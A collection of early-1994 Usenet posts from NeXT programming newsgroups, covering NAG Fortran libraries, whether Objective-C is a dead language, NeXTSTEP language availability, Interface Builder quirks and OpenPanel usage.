From: rcfa@cubiculum.com (Ronald C.F. Antony) Newsgroups: sci.math.num-analysis,comp.sys.next.software,comp.sys.next.programmer,sci.op-research Subject: NAG libraries on the NeXT computer Date: 4 Feb 1994 19:00:15 GMT Organization: NeXT-BUG (NeXT at Brown University Group) Distribution: world Message-ID: <2iu5vv$igm@tunix.cubiculum.com> Keywords: NAG NeXT fortran90 This is posted for a friend of mine who has trouble posting due to a corrupted news server. Please reply to him directly at: agm@doc.ic.ac.uk ------------------------------------------------------------------------------ Does anyone out there use the NAG Fortran libraries on NeXT computers? If you do, could you send me a brief note on your experience with them. In particular, I would like to interested in hearing: * do the libraries work with NS 3.2 Motorola (they don't work with Intel) * are there problems in linking code to C or Obj-C code? * does one really need NAG's Fortran 90 compiler to link programs or can one use f2c? Your reply is greatly appreciated. Axel Merk ---------------------------------------------------------------------------- -- Axel Merk agm@doc.ic.ac.uk phone/fax +44.71.581 9561 -- -- 10 Queensberry Mews West London SW7 2DU United Kingdom -- -- "One needs a certain amount of blindness to see perfection" -- ---------------------------------------------------- Christopher Nuzum ---
From: rcfa@cubiculum.com (Ronald C.F. Antony) Newsgroups: sci.math.num-analysis,comp.sys.next.software,comp.sys.next.programmer,sci.op-research Subject: NAG libraries on the NeXT computer Date: 4 Feb 1994 19:01:07 GMT Organization: NeXT-BUG (NeXT at Brown University Group) Distribution: world Message-ID: <2iu61j$igp@tunix.cubiculum.com> Keywords: NAG NeXT fortran90 This is posted for a friend of mine who has trouble posting due to a corrupted news server. Please reply to him directly at: agm@doc.ic.ac.uk ============================================================================== Does anyone out there use the NAG Fortran libraries on NeXT computers? If you do, could you send me a brief note on your experience with them. In particular, I would like to interested in hearing: * do the libraries work with NS 3.2 Motorola (they don't work with Intel) * are there problems in linking code to C or Obj-C code? * does one really need NAG's Fortran 90 compiler to link programs or can one use f2c? Your reply is greatly appreciated. Axel Merk ---------------------------------------------------------------------------- -- Axel Merk agm@doc.ic.ac.uk phone/fax +44.71.581 9561 -- -- 10 Queensberry Mews West London SW7 2DU United Kingdom -- -- "One needs a certain amount of blindness to see perfection" -- ---------------------------------------------------- Christopher Nuzum ---
From: rcfa@cubiculum.com (Ronald C.F. Antony) Newsgroups: sci.math.num-analysis,comp.sys.next.software,comp.sys.next.programmer,sci.op-research Subject: NAG libraries on the NeXT computer Date: 4 Feb 1994 19:01:25 GMT Organization: NeXT-BUG (NeXT at Brown University Group) Distribution: world Message-ID: <2iu625$igq@tunix.cubiculum.com> Keywords: NAG NeXT fortran90 This is posted for a friend of mine who has trouble posting due to a corrupted news server. Please reply to him directly at: agm@doc.ic.ac.uk ============================================================================== Does anyone out there use the NAG Fortran libraries on NeXT computers? If you do, could you send me a brief note on your experience with them. In particular, I would like to interested in hearing: * do the libraries work with NS 3.2 Motorola (they don't work with Intel) * are there problems in linking code to C or Obj-C code? * does one really need NAG's Fortran 90 compiler to link programs or can one use f2c? Your reply is greatly appreciated. Axel Merk -- Axel Merk agm@doc.ic.ac.uk phone/fax +44.71.581 9561 -- -- 10 Queensberry Mews West London SW7 2DU United Kingdom -- -- "One needs a certain amount of blindness to see perfection" -- ---------------------------------------------------- Christopher Nuzum ---
Newsgroups: comp.sys.next.programmer From: gery@ares.fdn.org (gery) Subject: Re: Typed streams are evil (I've implemented text, it's better) Message-ID: <1994Jan31.104954.7941@ares.fdn.org> Sender: news@ares.fdn.org Organization: Ares - Lyon, France. References: <1994Jan31.040313.18844@cs.yale.edu> Distribution: all Date: Mon, 31 Jan 1994 10:49:54 GMT Another point to keep in mind is : Is the precision of data preserved using ascii archiving ???? A simple test : using printf and scanf Do a loop writing and reading in a file a double value many time. (you can do several test with different precisions). The final value and the original are barely the sames... Is an archiving method allowed to support divergence between an instance and this instance after an archiving/unarchiving cycle. To my opinon .. no An supportable alternative could be the typedstream archived as Ascii as an option. Gery DIVRY (ZZVolume Conceptor) ARES Publisher 8, rue Victor Lagrange Phone: (+33) 72 80 16 30 Fax: (+33) 72 80 16 32 69007 LYON Email: gery@ares.fdn.org FRANCE NeXT mail accepted
Newsgroups: comp.sys.next.programmer,comp.lang.c++,comp.lang.objective-c From: greg@medusa.sce.carleton.ca (Greg Franks) Subject: Re: Is Objective - C a dead language ? In-Reply-To: Charles William Swiger's message of Thu, 3 Feb 1994 18:40:25 -0500 Message-ID: <GREG.94Feb4134024@medusa.sce.carleton.ca> Sender: news@cunews.carleton.ca (News Administrator) Organization: Carleton Univeristy, Systems & Computer Eng. Dept. References: <EhIMhdC00iUzE=PJ1x@andrew.cmu.edu> Distribution: usa Date: Fri, 4 Feb 1994 18:40:24 GMT In article <EhIMhdC00iUzE=PJ1x@andrew.cmu.edu> Charles William Swiger <infidel+@CMU.EDU> writes: Wrong. There are precisely zero vendors "selling" Objective-C compilers. Read the GNU Public License for details. Did Stepstone go out of business. Last time I checked, you had to pay them for their objective C compiler. (They were also first) -- Greg Franks, (613) 788-5726 | "The reason that God was able to Systems Engineering, Carleton University, | create the world in seven days is Ottawa, Ontario, Canada K1S 5B6. | that he didn't have to worry about greg@sce.carleton.ca ...!cunews!sce!greg | the installed base" -- Enzo Torresi
From: fxg@strawinsky.informatik.rwth-aachen.de (Felix Gatzemeier) Newsgroups: comp.sys.next.programmer Subject: Re: PS -> EPS? Date: 04 Feb 1994 19:40:16 GMT Organization: Lehrstuhl fuer Informatik III, RWTH Aachen, Germany Message-ID: <FXG.94Feb4204016@strawinsky.informatik.rwth-aachen.de> References: <gelatoCKo7EF.LBL@netcom.com> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit In-reply-to: gelato@netcom.com's message of Thu, 3 Feb 1994 22:49:26 GMT Question was: what's the difference between a .ps and a .eps file? Answer: An EPS file is intended to contain a single illustration to be placed in other documents, while a .ps file is an intermediate for printing. As a result, an EPS file contains information about its size and original position (BoundingBox) and should not use the showpage operator, among others. For a full description, see the "Red book", the definition of the PostScript language, 2nd Ed., published by Adobe Inc. at Addison-Wesley. The code generated by "Save..." in the print panel is intended to be sent to a printer (or some other RIP) and not suited for an EPS. Try Copying a selection in any Graphics program and pasting it into a new Yap buffer. Yap.app is located in /Nextdeveloper/Apps, so you'd have to have the developer version. Well, once you got the imaging code there, you can save it as an .eps file. You may have to add the BoundingBox comment. -- Felix (fxg@(([Pool|I3].Informatik)|(Tolkien.ImIB)).RWTH-Aachen.de NeXT-Mail ok, but slow)
From: borzilda@NeXTwork.Rose-Hulman.Edu (David A Borzillo) Newsgroups: comp.sys.next.programmer Subject: Where's the HW compatibility guide? Date: 4 Feb 1994 18:51:28 GMT Organization: Rose-Hulman Institute of Technology Message-ID: <2iu5fg$jtr@master.cs.rose-hulman.edu> Where can I get a copy of t NeXT's Hardware Compatibility Guide? -- David A. Borzillo (borzilda@nextwork.rose-hulman.edu) Fluid Science Learning Center Software Developer (rehired for spirng) Mechanical Engineering Junior, Rose-Hulman Inst of Tech Terre Haute,IN +======================================================================+ Disclaimer: Any views and opinions expressed in this message are my own and not of Rose-Hulman or the FSLC Project.
Newsgroups: comp.sys.next.programmer From: jerald@mrk.com (Jerald Dawson) Subject: Serial I/O takes up mucho processor time. Message-ID: <1994Feb4.172916.1355@mrk.com> Sender: jerald@mrk.com Distribution: usa Date: Fri, 4 Feb 1994 17:29:16 GMT Hi there, I've got an app that takes data that is coming in continuesly at 9600 bps. I'm using the Serial Object from BenaTong to read the serial port. everything is working fine but when the app is being run it is a real processor hog. I'm running it on a 486/66 and if I log into the system remotely and run hostinfo it gives me the info below: 1 processor is physically available. Processor type: I386 (Intel 486) Processor active: 0 Primary memory available: 32.00 megabytes. Default processor set: 57 tasks, 97 threads, 1 processors Load average: 7.72, Mach factor: 0.11 I don't understand why reading the serial port is that much of a drag on performance. The Motherboard in this machine is a micronics motherboard with the serialports built into the motherboard. BTW, this app does the same thing if I run it on my Turbo Color or on any other machine I have (from a 33 Mhz 486 to a 60 Mhz Pentium). It always wants to take about 90% of the processor. If anyone can give me clue I'd apreciate it. thanx -- jerald dawson*Systems Manager / Head Programmer*Investor's Advantage NeXTmail-jerald@mrk.com |"To compel a man to furnish contributions of money phone -(708) 487-3221 | for the propogation of opinions which he disbelieves
Newsgroups: comp.sys.next.programmer From: yanik@planon.qc.ca (Yanik Crepeau) Subject: Re: Is Objective - C a dead language ? Message-ID: <1994Feb4.172345.2163@planon.qc.ca> Sender: yanik@planon.qc.ca References: <YhIFAcq00VId88PURb@andrew.cmu.edu> Date: Fri, 4 Feb 1994 17:23:45 GMT In article <YhIFAcq00VId88PURb@andrew.cmu.edu> "Ryan B. Troll" <ry+@CMU.EDU> writes: > > Here's one argument I've heard against Objective-C, and I would like > some opinions on it. > > Basically, it comes down to external library support. X11 and Motif, > which are rather big in the Unix world, currently provide libraries of > C functions (and accompanying C header files). But, I've been told > that they are moving to C++. Has anybody tried to include a C++ file > in an objective-C src file? > > So, the argument is that if you write a piece of software today, in > objective-C, which uses X11 (or Motif), it will need to be rewritten > when the libraries are converted to C++. > > Of course, this does not affect the NeXT community, whose libraries > are already in Objective-C. :) > > My department is currently trying to decide which object oriented > language to use for our upcoming projects. Two of us (NeXT owners) > are pushing for objective-C, some have no opinion, and one reluctantly > chooses C++. (He also prefers objective-C, but based on the above > knowledge, he points out that our software will cease to compile > suddenly at some point.) > > Does anybody have a counter argument? > > Ryan I am a NEXTSTEP programmer and a supporter of Objective-C. a) C++ is a better C. It would be normal for C programmers to move to C++ b) It is not because you write C++ code that you do OOP. You can write tons of code and you won't write a single class. So, we can not evaluate the progress of OOP by evaluating the success of C++ and vice-versa. c) In OOP, the language itself is not the main factor. What is important is the classes that can be re-used. The richest the libraries, the best OOP system you have. d) In the OOP systems, you have three (3) contenders: Cairo, Taligent and NEXTSTEP. Two of them use C++ and NEXTSTEP has privileged Objective-C. Since the only shipping OOP system is NEXTSTEP, Objective-C has a good future. e) PDO is an astonishing thing. Big hardware vendors work on PDO. PDO exists in a context that Objective-C could address better than C++. -- Yanik Crepeau The power of OOP used to stop when Programmer the programmer typed "make". With Planon Telexpertise NEXTSTEP and PDO, that is not true E-Mail: yanik@planon.qc.ca (NeXT) anymore!
From: rcfa@cubiculum.com (Ronald C.F. Antony) Newsgroups: sci.math.num-analysis,comp.sys.next.software,comp.sys.next.programmer,sci.op-research Subject: NAG libraries on the NeXT computer Date: 4 Feb 1994 19:47:23 GMT Organization: NeXT-BUG (NeXT at Brown University Group) Distribution: world Message-ID: <2iu8ob$j78@tunix.cubiculum.com> Keywords: NAG fortran90 NeXT This is posted for a friend of mine, please reply directly to him at: agm@doc.ic.ac.uk -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Does anyone out there use the NAG Fortran libraries on NeXT computers? If you do, could you send me a brief note on your experience with them. In particular, I would like to interested in hearing: * do the libraries work with NS 3.2 Motorola (they don't work with Intel) * are there problems in linking code to C or Obj-C code? * does one really need NAG's Fortran 90 compiler to link programs or can one use f2c? Your reply is greatly appreciated. Axel Merk ---------------------------------------------------------------------------- -- Axel Merk agm@doc.ic.ac.uk phone/fax +44.71.581 9561 -- -- 10 Queensberry Mews West London SW7 2DU United Kingdom -- -- "One needs a certain amount of blindness to see perfection" -- ---------------------------------------------------- Christopher Nuzum ---
Newsgroups: comp.sys.next.programmer From: jfr@aspen.pdh.com (Jon F. Rosen) Subject: Re: What languages are available under NeXTStep? Message-ID: <CKpoCu.1Is@pdh.com> Sender: news@pdh.com (USENET News Account) Organization: PDH, Inc. References: <1994Feb1.073915.237@dart.de> Date: Fri, 4 Feb 1994 17:53:17 GMT Alexander Spohr writes: > Jeff Sickel writes: > > >[inquiry about languages on NeXT] > > Don't forget: The Appkit is Objective-C only. > > These are the languages I'm sure of: > Modula-2, Pascal, Fortran, COBOL (yes...I know), SmallTalk. I believe Allegro Common Lisp is also available.
From: gopher2@bcarh530.bnr.ca (Rob Parkhill) Newsgroups: comp.sys.next.programmer Subject: CDPlayer.app Date: 4 Feb 1994 21:43:17 GMT Organization: Bell-Northern Research, Ottawa, Canada Sender: gopher2@bcarh530 (Avril Morris) Distribution: world Message-ID: <2iufhl$5vn@bmerha64.bnr.ca> Hi all: Does anyone know if the source for CDPlayer.app is freely availiable? If not, any pointers to code showing me how to control a NeXT CD-ROM drive? thanks Rob -- Rob Parkhill || I will not do it, in my car, I will not speak || o/\_ BNR, Ottawa || for BNR. I would not, could not in a plane, I || <\__,\ 613 763 8146 || would not, could not on a train. I will not || "> | gopher2@bnr.ca || speak for BNR, I will not do it, Sam you are. || : |
Newsgroups: comp.sys.next.programmer From: Robert La Ferla <Robert_La_Ferla@hot.com> Subject: Re: No awakeFromNib in IB test mode? Message-ID: <1994Feb4.162924.1720@hot.com> Sender: robertl@hot.com Organization: Hot Technologies References: <1994Feb3.172309.23200@news.media.mit.edu> Date: Fri, 4 Feb 1994 16:29:24 GMT If you feel that NeXT should support awakeFromNib in the next release of Interface Builder, write bug_next@next.com and let them know. Robert La Ferla Hot Technologies NEXTSTEP ISV and Consulting In article <1994Feb3.172309.23200@news.media.mit.edu> wave@media.mit.edu (Michael B. Johnson) writes: > In article <2iq5ck$9e8@rosie.next.com> rzazula@next.com writes: > >>Okay, now the solution: > >> > >>Under 3.2, InterfaceBuilder does not give "late notification" a-la > >>-awakeFromNib. However, objects unarchived (by IB or otherwise) get sent > >>-finishUnarchiving. So, we have a hook. > >> > >>The trick is that, unlike -awakeFromNib, our outlets are not guaranteed to > >>be initialized when -finishUnarchiving is invoked. The way around this is > >>to schedule a call to -awakeFromNib for *after* the current event-loop. > >>Since the current event-loop is busy sending everyone a > >>-finishUnarchiving, we'll be sure to have everything initialized later. > >> > > Wow, what a totally heinous, evil workaround! Thanks Ralph! > I can already feel my software's hygeine improving... :) > > -- > --> Michael B. Johnson -- wave@media.mit.edu > --> MIT Media Lab -- Computer Graphics & Animation Group > --> 20 Ames St. E15-023G -- (617) 547-0563 (day office) > --> Cambridge, MA 02139 -- (617) 253-0663 (night office)
From: dario@voluptas (Dario Ringach) Newsgroups: comp.sys.next.programmer Subject: How do I load my PS wrap definitions on the printer? Date: 4 Feb 1994 21:38:47 GMT Organization: New York University Distribution: world Message-ID: <2iuf97$kg0@cmcl2.NYU.EDU> I have View subclass where some drawing is done with help of PS wraps definitions initialized by initFrame:. If I try to print on a printer by sending a printPSCode message to the View subclass the printer will not recognize the definitions in the display postscript server, of course, causing an error... Is there a simple way to send the PS procedures I define in the initalization to the printer as well? Thanks in advance! -- Dario
From: hsr@cs.Stanford.EDU (Scott Roy) Newsgroups: comp.sys.next.programmer Subject: Freeing objects in IB test mode Date: 4 Feb 1994 22:37:24 GMT Organization: Stanford University: Computer Science Department Distribution: world Message-ID: <2iuin4$jb9@Times.Stanford.EDU> I have palette code that does its own garbage collection and dynamically frees objects, but it gets into trouble in IB test mode because InterfaceBuilder tries to free the same objects again when the user exits test mode. The objects in question are created by selecting a class in the class browser and choosing 'instantiate'. Anyone have a workaround? I can turn off my garbage collection entirely when in IB test mode, but it seems like it would be much nicer if my objects could just detect on an individual basis whether they were part of the current document. I tried the very natural approach, if ([NXApp conformsTo: @protocol(IB)] && [[NXApp activeDocument] objectIsMember: self]) // don't free else // do free But activeDocument seems to return nil in test mode. :-( --- Scott Roy Department of Computer Science Stanford University
From: jlr@gnome.East.Sun.COM (Janet L. Rimlinger Sun Systems Engineer King of Prussia, PA) Newsgroups: comp.sys.next.programmer Subject: Distributed Objects Date: 4 Feb 1994 22:42:48 GMT Organization: Sun Microsystems, Inc. Distribution: world Message-ID: <2iuj18$qbj@dr-pepper.East.Sun.COM> Can anyone provide me info on NeXT Distributed Objects? I'm interested in info relating to the Sun/NeXT announcement and the OpenStep API. Thanks. ============================================================================ Janet L. Rimlinger Systems Engineer Sun Microsystems Computer Corporation 620 Freedom Business Center, Suite 105 King of Prussia, PA 19406 janet.rimlinger@liberty.east.sun.com ============================================================================
From: jjfeiler@relief.com (John Jay Feiler) Newsgroups: comp.sys.next.programmer Subject: Re: need to init a popUpList Message-ID: <CKo1p0.2to@relief.com> Date: 3 Feb 94 20:46:12 GMT References: <2ik8ov$dop@wave.aoml.erl.gov> Sender: jjfeiler@relief.com (John Jay Feiler) Organization: Relief Consulting & Development In article <2ik8ov$dop@wave.aoml.erl.gov> bakker@cyclon.aoml.erl.gov (Cary Bakker) writes: > > I use a popUpList to display a selection of items within an inspector. I want > to be able to set the popUp to a specific item within the list when the > inspector is displayed. > > This is what happens: the inspector is updated to contain info on a new object, > so the popUpList is recreated and loses the previous selection. > I want to be able to set, say, the index of the item that should be selected in > the popUp. > > There's prolly some easy way to do this, and that's why I'm asking ;) > Thanks, > > Cary > > -- > ------------------------------------------------------------------------- > Cary A. Bakker | Music is the pleasure the human soul > C.S. Major | experiences from counting without > FLorida International University | being aware that it is counting... > NeXT Programmer | > NOAA/AOML | -- Gottfried W. Leibniz Try sending a setTitle: message to the Button that is the cover for the PopUpList. I don't think that will actually change the selected cell in the PopUp's matrix, but if you just want it to reflect the current state (amd you aren't storing state in the UI), it should work. If you actually need to set the selected cell of the matrix, you'll either have to do that yourself, or find a snippet of code where someone else already does it. I know I've seen it somewhere, but I don't know where John -- John Feiler jjfeiler@relief.com Relief Consulting & Development (206) 743-3953 4926 152nd St. SW NeXTmail Welcome!!! Edmonds, WA 98026-4433 Independent NeXTSTEP Developer --
From: tpugh@oce.orst.edu (Tim Pugh) Newsgroups: comp.sys.next.programmer Subject: Re: What languages are available under NeXTStep? Message-ID: <2iu6g2$hab@gaia.ucs.orst.edu> Date: 4 Feb 94 19:08:50 GMT References: <2ipb9g$te@marsu.tynet.sub.org> Organization: University Computing Services - Oregon State University In article <2ipb9g$te@marsu.tynet.sub.org> mow@marsu.tynet.sub.org (Markus Wenzel) writes: > z50907@mip.lasc.lockheed.com (Jeff Sickel) writes: > > >I'd like to know what languages are available for NeXTStep? From what I've > >read I believe NeXT provides Objective C, C/C++ with their development system > >and there is a port of gcc. Are there any other programming languages > >available for application development? > > Years ago I've seen an "Objective-Fortran" package. > But I'm not sure if that's the development system you have expected. > > Absoft makes "Objective-FORTRAN" for motorola and intel machines. The FORTRAN langauage is f77 with extensions to create Class objects, compatible with objective-C, and to communicate with objective-c objects. It's nice and works well. Just a happy NEXTSTEP FORTRAN user. - Tim - -------------------------------------------------------------- Tim Pugh email: tpugh@oce.orst.edu Oceanic and Atmospheric Sciences voice: 503-737-2270 Oregon State University fax: 503-737-2064 NeXTmail ok!
Newsgroups: comp.sys.next.programmer From: bbum@friday.com Subject: Re: Is Objective - C a dead language ? Message-ID: <CKq2Cs.26E@friday.com> Sender: bbum@friday.com (Bill Bumgarner) Organization: Friday Software & Consulting; a virtual company References: <CKIv4G.2KG@microsoft.com> Distribution: usa Date: Fri, 4 Feb 1994 22:55:39 GMT [.. see the drivel below on how marketing numbers == the future of computing ...] Yes. And MS-DOS has more users than any other operating system around-- but it still sucks. Intel based PCs are the most popular box around; but they suck. Microsoft Windows is the most commonly used windowing environment around; and it an insult to the concept of a "graphic user interface". C++: Survive? Sadly, yes... many many programmers are going to be sucked into the disillusion that C++ provides a complete and total Object Oriented solution. Sadly, most will never realize that they are nowhere near a true OO environment, but are simply using an advanced data encapsulation paradigm. Make the grade [as a good OO solution]? No. Under the current C++ language spec, the language will never be a true and complete OO environment. b.bum Jim Adcock writes > In article <2i1bvu$12n@steffi.demon.co.uk> robert@steffi.demon.co.uk (Robert Nicholson) writes: > |jirapa@nextover.pe.utexas.edu wrote > |>Hi, > |> > |>I had heard something blasphemous in my C++ class. The instructor said that > |>objective-C is a dead language. Can anybody contribute to this comment? Is it > |>true or false or partly true? and why? > > One can guess all kinds of answers to these questions, or one can > try to answer the question by making some objective measures. > One can ask, for example: > > what languages have the most compilers sold? > C++ > Visual Basic > > How many magazine articles on each in the last year? > C++ = 2000 and increasing trend > Objective-C = 17 and decreasing trend > > How many books published on each: > C++ = hundreds > Objective-C = 2 > > How many vendors selling compilers to each: > C++ = tens to hundreds > Objective-C = one or two, depending on how you measure it. > > So sorry, Objective-C is for all intents and purposes dead. > One shouldn't feel bad: Read HOPL I and II -- most new languages > die. Strangly enough, C++ still looks like it might survive > and make the grade. > -- b.bum <bbum@friday.com> | "blah blah blah" WhiteLight Systems, INC. | - someone somewhere
Newsgroups: comp.sys.next.programmer From: alex@cs.umd.edu (Alex Blakemore) Subject: Re: Protocol for setStringValue: etc... Message-ID: <CKqHG3.E4@genoa.com> Sender: alex@genoa.com (Alex Blakemore) Organization: Genoa Software Systems References: <1994Feb4.152117.22662@il.us.swissbank.com> Date: Sat, 5 Feb 1994 04:21:38 GMT Montgomery Zukowski writes > Check out the UIBinder from VNP. > it sits between the screen and your data containers. You set up the > connections in IB and then just manage the contents of the UIBinder ... > and the screen stuff happens automagically. It has plenty of hooks > for validation, modifying editing behavior and other stuff. > It's the first commercial object I've seen where I didn't feel > it would be worth my time to do over. I second this opinion. VNP's UIBinder is really well done and useful. Their access kit product is really worth checking out as well. -- Alex Blakemore alex@cs.umd.edu NeXT mail accepted
Newsgroups: comp.sys.next.programmer From: alex@cs.umd.edu (Alex Blakemore) Subject: Re: What languages are available under NeXTStep? Message-ID: <CKqHn4.Ev@genoa.com> Sender: alex@genoa.com (Alex Blakemore) Organization: Genoa Software Systems References: <CKpoCu.1Is@pdh.com> Date: Sat, 5 Feb 1994 04:25:52 GMT Alexander Spohr writes: >> These are the languages [on NeXT] I'm sure of: >> Modula-2, Pascal, Fortran, COBOL (yes...I know), SmallTalk. Jon F. Rosen writes > I believe Allegro Common Lisp is also available. as is Ada83, and thanks to FSF and NYU, Ada94 is available in beta form -- Alex Blakemore alex@cs.umd.edu NeXT mail accepted
Newsgroups: comp.sys.next.programmer,comp.sys.next.sysadmin From: sengwil@mail.auburn.edu (William F. Seng) Subject: Re: Recycler problem? Message-ID: <CKqoGC.Ctv@mail.auburn.edu> Followup-To: comp.sys.next.programmer,comp.sys.next.sysadmin Sender: usenet@mail.auburn.edu (Usenet Administrator) Organization: Auburn University References: <2irpe3$emh@oak.oakland.edu> Date: Sat, 5 Feb 1994 06:52:59 GMT Mark Murphy (mark@opus.pass.wayne.edu) wrote: : The problem is when I toss a file from this disk to the recycler, I get the : message: : Folder xxxxx is located on a disk without recycler. : Continuing will really destroy the files. You hit the nail on the head. Place a folder named .NextTrash on the drive, and you are all set. If I recall correctly, permissions on the folder should be rw owner only, and the owner should be root. I just finished installing a 1.2 GB drive myself, and found out the hard way. There seems to be a lack of info on this point in the docs. BTW, if you leave the drive as auto-mounted, realize that, just like an automounted floppy or optical, all the ownerships of files are set to the person who is logged in. This does wonderful things to Apps that expect to be run as root! To avoid this, mount the drive via the .rclocal or /etc/fstab. Then, the drive is mounted by the root in the boot process and permissions are preserved. Hope this helps - Bill (probably the only fellow here without a fancy sig file - yet!)
Newsgroups: comp.sys.next.programmer,comp.lang.c++,comp.lang.objective-c From: cracauer@wavehh.hanse.de (Martin Cracauer) Subject: Re: Is Objective - C a dead language ? Message-ID: <1994Feb4.144354.1426@wavehh.hanse.de> Organization: Hanse Networking e. V., Hamburg, Germany References: <2i173i$h65@geraldo.cc.utexas.edu> <2i1bvu$12n@steffi.demon.co.uk> <CKIv4G.2KG@microsoft.com> Distribution: usa Date: Fri, 4 Feb 94 14:43:54 GMT jimad@microsoft.com (Jim Adcock) writes: [...] >So sorry, Objective-C is for all intents and purposes dead. >One shouldn't feel bad: Read HOPL I and II -- most new languages ^^^^^^^^^^^^^ What's that? >die. Strangly enough, C++ still looks like it might survive >and make the grade. -- %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Martin Cracauer <cracauer@wavehh.hanse.de>,Voice+4940-5221829,Fax.-5228536
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Wanted: Hook to cleanup in IBPalettes? Date: 5 Feb 1994 12:49:07 -0000 Organization: me organized? That's a joke! Message-ID: <2j04k3$rs@steffi.demon.co.uk> I register an IBDocument Controller in a palette of mine and I want to unregister the controller when I unload the palette from IB? How can I do this? My IBPalette subclass's - free isn't called. -- "You know what's wrong with you?" (Audrey Hepburn, Cary Grant) "No, what?" "Nothing" (Charade, 1963) (ASCII for text only messages)
From: dreed@orion.it.luc.edu (Dale F. Reed) Newsgroups: comp.sys.next.programmer Subject: OpenPanel: how to set directory? Date: 5 Feb 1994 16:40:03 GMT Organization: Loyola University of Chicago Message-ID: <2j0i53$9dd@apollo.it.luc.edu> Howdy all NexTpert programmers: How do I use the OpenPanel method and set the directory that I want? I'm using the following, which *doesn't* change the directory to the "./Sounds" directory as I would like. - open:sender { const char *const types[] = {"snd",NULL}; // Allowed types for OpenPanel id openPanel; // The open panel openPanel = [OpenPanel new]; // Get the OpenPanel [openPanel allowMultipleFiles:NO]; // Allow multiple files if ([openPanel runModalForDirectory:"./Sounds" file:NULL types: types] == 0) return self; ... It appears that the "runModalForDirectory" is not having an effect. I get the open panel, but the directory is not changed. Neither does it only display ".snd" files Any Ideas? Dale Reed reed@math.luc.edu (312) 508-3567
From: bil@ccrma.Stanford.EDU (Bill Schottstaedt) Newsgroups: comp.sys.next.programmer Subject: Re: What languages are available under NeXTStep? Date: 5 Feb 1994 18:05:34 GMT Organization: Stanford University Message-ID: <2j0n5e$g4b@nntp2.Stanford.EDU> References: <CKpoCu.1Is@pdh.com> In article <CKpoCu.1Is@pdh.com> jfr@aspen.pdh.com (Jon F. Rosen) writes: > Alexander Spohr writes: > I believe Allegro Common Lisp is also available. We have both ACL 3.1.2 and 4.1 running on NeXTStep 3.2 on the black hardware, and akcl running on the other kind.
From: edmtl@alf.uib.no (Thor Legvold) Newsgroups: comp.sys.next.programmer,comp.sys.next.sysadmin,comp.sys.next.misc Subject: LaunchPad "timebomb" problems. Date: 6 Feb 1994 01:25:31 +0100 Organization: University of Bergen Message-ID: <2j1ddr$hgo@alf.uib.no> Perhaps I've missed something, but I thought LaunchPad was now public domain and free. I compiled a copy I ftp'd, after changing the reference to appkit/defaults.h, and it built O.K. When I ran it it said my license had expired! Is there a fix, or is this how it (a "free" program) is designed to work? Regards, -- Thor Legvold | This is the strangest life NorNeXT User Group leader | I've ever known... University of Bergen | - Jim Morrison, The Doors Norway | edmtl@fiol.uib.no (NeXTmail)
Newsgroups: comp.sys.next.programmer From: al@rbc.uucp (Al Davis) Subject: Re: Is Objective - C a dead language ? Message-ID: <1994Feb5.203624.21081@rbc.uucp> Sender: al@rbc.uucp (Al Davis) Organization: Huh? References: <CKq2Cs.26E@friday.com> Distribution: usa Date: Sat, 5 Feb 1994 20:36:24 GMT It seems that most people here think C++ sucks and won't say why. You seem to imply that Objective-C is better but won't say why. Can someone make a clear chart of the differences so one can make a logical decision? A side note ... A few years ago I took one of those "mini-courses" in Objective-C from Stepstone. I was not convinced to use it, so I continued doing my work in C, even though it was already an object-oriented design. Thanks to my experience in Objective-C, I put off even looking at C++ until I was forced to. After working with C++ on a few small projects I have grown to like it. Somehow I don't see the [object message:arguments ...] syntax as progress. It looks like a kluge so a pre-processor can easily find the new style stuff without tripping over standard C, and translate it into C. I do see the ability to define new types with their operators (as C++ does) as real progress. Can someone give some convincing arguments? I would like to see a real comparison of the languages. How about a chart comparing them. In comparing, please don't lower yourself to the "MSDOS sucks and is popular therefore anything that is popular sucks" argument. By doing so you destroy your credibility. Please don't take this as a flame. I really want to know.
From: david@drq.lbl.gov (David Quarrie) Newsgroups: comp.sys.next.programmer Subject: Re: What languages are available under NeXTStep? Date: 6 Feb 1994 02:35:18 GMT Organization: Lawrence Berkeley Laboratory, Berkeley CA Distribution: world Message-ID: <37173@dog.ee.lbl.gov> Keywords: Eiffel 3 Eiffel 2.3 from Interactive Software Engineering (eiffel@eiffel.com) has been shipping for some time and the Eiffel 3.2 version is undergoing beta testing at the moment. I believe other vendors are also shipping or are about to ship Eiffel compilers for NEXTSTEP. -------------------------------------------------------------------------- | Please use DRQuarrie@LBL.gov as the address for any reply | -------------------------------------------------------------------------- David R. Quarrie Lawrence Berkeley Lab MS 50B-3238 (NeXTmail ok) 1 Cyclotron Road Internet: DRQuarrie@LBL.gov Berkeley, CA 94720
Newsgroups: comp.sys.next.programmer From: paul@phoenix.Princeton.EDU (Paul Lansky) Subject: reversing color of NXiBeam cursor Message-ID: <1994Feb5.043209.16691@Princeton.EDU> Originator: news@nimaster Sender: news@Princeton.EDU (USENET News System) Organization: Princeton University Date: Sat, 5 Feb 1994 04:32:09 GMT I have an application in which I want a text to have a black background and a white text. This is easy to do with setBackgroundGray and setTextGray. But the cursor remains black, which is something of a problem. How do I make the cursor in the text window white? thanks paul lansky paul@princeton.edu
